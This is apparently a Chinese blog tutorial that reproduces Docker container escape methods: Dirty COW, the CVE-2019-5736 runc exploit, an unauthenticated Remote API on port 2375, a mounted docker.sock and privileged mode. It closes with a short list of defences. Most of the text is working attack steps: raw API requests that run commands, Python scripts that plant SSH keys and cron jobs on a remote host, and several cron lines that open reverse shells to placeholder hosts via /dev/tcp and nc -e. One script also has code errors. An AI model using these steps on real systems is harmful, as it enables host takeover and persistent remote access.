sock 文件方式控制宿主机_初识Docker逃逸

前言

前不久看到几篇实战文章用到了docker逃逸技术，自己之前没接触过，整理复现下常用的Docker逃逸方法，可能存在认知错误的地方，希望各位大佬指出，感激不尽。

Docker是当今使用范围最广的开源容器技术之一，具有高效易用的优点。然而如果使用Docker时采取不当安全策略，则可能导致系统面临安全威胁。

Docker逃逸原因

目前的 Docker 逃逸的原因可以划分为三种：

由内核漏洞引起 ——Dirty COW(CVE-2016-5195)

由 Docker 软件设计引起——CVE-2019-5736、CVE-2019-14271

由配置不当引起——开启privileged(特权模式)+宿主机目录挂载(文件挂载)、功能(capabilities)机制、sock通信方式

docker环境判断

实战中首先需要判断服务器是否为docker环境。常用的判断方法有两种。

1、是否存在.dockerenv文件

docker环境下存在：ls -alh /.dockerenv 文件

非docker环境，没有.dockerenv文件

2、查询系统进程的cgroup信息

docker环境下 cat /proc/1/cgroup

非docker环境下cat /proc/1/cgroup

实验环境

宿主机：阿里云centos8

Docker版本：18.06.0-ce

镜像版本：centos7

环境搭建

自动安装docker环境，运行centos和ubuntu镜像

查看容器

docker ps -a

docker ps -a -q # 查看哪些是停止状态的容器

启动容器

docker start 容器ID

进入容器

docker exec -ti 容器ID /bin/bash

内核漏洞

Dirty COW漏洞逃逸

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞，源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition)，允许恶意用户提权获取其他只读内存映射的写访问权限。

竞争条件意为任务执行顺序异常，可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞，攻击者可在其目标系统内提升权限，甚至获得root权限。VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象)，即内核提供的虚拟.so。该.so文件位于内核而非磁盘，程序启动时，内核把包含某.so的内存页映射入其内存空间，对应程序就可作为普通.so使用其中的函数。

在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击，令系统崩溃并获得root权限的shell，且浏览容器之外主机上的文件。

docker和宿主机共享内核，搭建的阿里云环境不存在Dirty Cow漏洞，可以使用存在漏洞的宿主机搭建，也可以使用i春秋的靶机进行复现。https://www.ichunqiu.com/experiment/detail?id=100297&source=2

1、运行docker镜像

docker run --name=test -p 1234:1234 -itd dirtycow /bin/bash //使用本地1234端口连接docker的1234端口运行dirtycow镜像，并将其临时命名为test

2、进入镜像内部操作

docker exec -it test /bin/bash

cd /dirtycow-vdso/ //进入dirtycow-vdso文件夹

make //使用make命令编译.c文件

./0xdeadbeef //运行0xdeadbeef 文件

显示successfully表示成功。

成功获取到宿主机的shell。

容器服务缺陷

CVE-2019-5736漏洞逃逸

1、漏洞原理：

Docker、containerd或者其他基于runc的容器在运行时存在安全漏洞，攻击者可以通过特定的容器镜像或者exec操作获取到宿主机runc执行时的文件句柄并修改掉runc的二进制文件，从而获取到宿主机的root执行权限。

2、影响版本：

平台或产品 受影响版本

Docker Version < 18.09.2

runC Version <= 1.0-rc6

3、漏洞复现

首先编译go脚本，生成攻击payload

https://github.com/Frichetten/CVE-2019-5736-PoC

修改脚本中的反弹地址为自己vps地址。

编译生成payload

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

将编译好的文件拷贝到docker容器中。

docker cp main 78e0d8daa906:/home

docker exec -it 78e0d8daa906 /bin/bash

cd /home/

chmod 777 main

运行main文件，使用nc监听反弹的端口，等待启动docker

nc接收到反弹的shell

由于容器服务缺陷导致的逃逸还包括Docker cp CVE-2019-14271和Docker build code execution CVE-2019-13139，利用起来都具有一定的限制条件，具体原理和利用可参考：

https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/

https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/

配置不当引发的docker逃逸

1、emote api 未授权访问

docker swarm是管理docker集群的工具。主从管理、默认通过2375端口通信。绑定了一个Docker Remote API的服务，可以通过HTTP、Python、调用API来操作Docker。

当使用官方推荐启动方式时

dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

在没有其他网络访问限制的主机上使用，则会在公网暴漏端口。

漏洞利用：

1、首先列出所有容器，得到id字段

http://x.x.x.x:2375/containers/json

2、然后创建一个 exec

POST /containers//exec HTTP/1.1

Host: :PORT

Content-Type: application/json

Content-Length: 188

{

"AttachStdin": true,

"AttachStdout": true,

"AttachStderr": true,

"Cmd": ["cat", "/etc/passwd"],

"DetachKeys": "ctrl-p,ctrl-q",

"Privileged": true,

"Tty": true

}

使用burp模拟post请求发包，得到返回的id参数。

3、启动exec,成功执行了系统命令，读取到了passwd文件。

POST /exec//start HTTP/1.1

Host: :PORT

Content-Type: application/json

{

"Detach": false,

"Tty": false

}

成功获取到docker主机的命令执行权限，但是还无法逃逸到宿主机。

尝试通过写计划任务或者写ssh密钥得到宿主机权限

1、在容器内安装Docker作为client(可能需要换国内源)

apt-get install docker.io

2、查看宿主机docker镜像信息

docker -H tcp://x.x.x.x:2375 images

3、启动一个容器并将宿主机根目录挂在到容器的nuoyan目录

docker -H tcp://x.x.x.x:2375 run -it -v /:/nuoyan adafef2e596e /bin/bash

4、写计划任务反弹shell

echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/8877 0>&1' >> /nuoyan/var/spool/cron/root

5、成功获取到宿主机shell，逃逸成功。

还可以使用师傅们写好的python脚本

写ssh密钥

# coding:utf-8

import docker

import socks

import socket

import sys

import re

#开启代理

socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 1081)

#socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 1081)

socket.socket = socks.socksocket

ip = '172.16.145.165'

cli = docker.DockerClient(base_url='tcp://'+ip+':2375', version='auto')

#端口不一定为2375，指定version参数是因为本机和远程主机的API版本可能不同，指定为auto可以自己判断版本

image = cli.images.list()[0]

#读取生成的公钥

f = open('id_rsa_2048.pub', 'r')

sshKey = f.read()

f.close()

try:

cli.containers.run(

image=image.tags[0],

command='sh -c "echo '+sshKey+' >> /usr/games/authorized_keys"', #这里卡了很久，这是正确有效的写法，在有重定向时直接写命令是无法正确执行的，记得加上sh -c

volumes={'/root/.ssh':{'bind': '/usr/games', 'mode': 'rw'}}, #找一个基本所有环境都有的目录

name='test' #给容器命名，便于后面删除

)

except docker.errors.ContainerError as e:

print(e)

#删除容器

try:

container = cli.containers.get('test')

container.remove()

except Expection as e:

continue

写计划任务(by P牛)

import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')

data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

2、docker.sock挂载到容器内部

Docker采用C/S架构，我们平常使用的Docker命令中，docker即为client，Server端的角色由docker daemon扮演，二者之间通信方式有以下3种：

1、unix:///var/run/docker.sock

2、tcp://host:port

3、fd://socketfd

其中使用docker.sock进行通信为默认方式，当容器中进程需在生产过程中与Docker守护进程通信时，容器本身需要挂载/var/run/docker.sock文件。

本质上而言，能够访问docker socket 或连接HTTPS API的进程可以执行Docker服务能够运行的任意命令，以root权限运行的Docker服务通常可以访问整个主机系统。

因此，当容器访问docker socket时，我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。若容器A可以访问docker socket，我们便可在其内部安装client(docker)，通过docker.sock与宿主机的server(docker daemon)进行交互，运行并切换至不安全的容器B，最终在容器B中控制宿主机。

利用过程：

1、首先运行一个挂载/var/run/的容器

docker run -it -v /var/run/:/host/var/run/ adafef2e596e /bin/bash

2、寻找下挂载的sock文件

find / -name docker.sock

3、在容器内安装Docker作为client(可能需要换国内源)

apt-get install docker.io

4、查看宿主机docker信息

docker -H unix:///host/var/run/docker.sock info

5、运行一个新容器并挂载宿主机根路径

docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash

6、在新容器/nuoyan路径下完成对宿主机资源的访问

7、写入计划任务文件，反弹shell

echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/9988 0>&1' >> /nuoyan/var/spool/cron/root

成功接收到宿主机反弹的shell

3、特权模式

特权模式于版本0.6时被引入Docker，允许容器内的root拥有外部物理机root权限，而此前容器内root用户仅拥有外部物理机普通用户权限。

使用特权模式启动容器，可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时，Docker容器将被允许访问主机上的所有设备，并可以执行mount命令进行挂载。

当控制使用特权模式启动的容器时，docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部，获取对整个宿主机的文件读写权限，此外还可以通过写入计划任务等方式在宿主机执行命令。

利用过程：

1、首先以特权模式运行一个docker容器

docker run -it --privileged d27b9ffc5667 /bin/bash

2、查看磁盘文件

fdisk -l

3、vda1存在于/dev目录下

4、新建一个目录,将/dev/vda1挂载至新建的目录

mkdir /nuoyan

mount /dev/vda1 /nuoyan

5、写入计划任务到宿主机

echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/2100 0>&1' >> /nuoyan/var/spool/cron/root

6、开启nc监听，成功接收到宿主机反弹的shell

防御docker逃逸

1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736

2、runc版本 > 1.0-rc6

3、k8s 集群版本>1.12

4、Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)

5、Linux内核版本>=4.14——CVE-2017–1000405(大脏牛)，未找到docker逃逸利用过程，但存在逃逸风险

6、不建议以root权限运行Docker服务

7、不建议以privileged(特权模式)启动Docker

8、不建议将宿主机目录挂载至容器目录

9、不建议将容器以—cap-add=SYSADMIN启动，SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作，存在容器逃逸风险

参考文章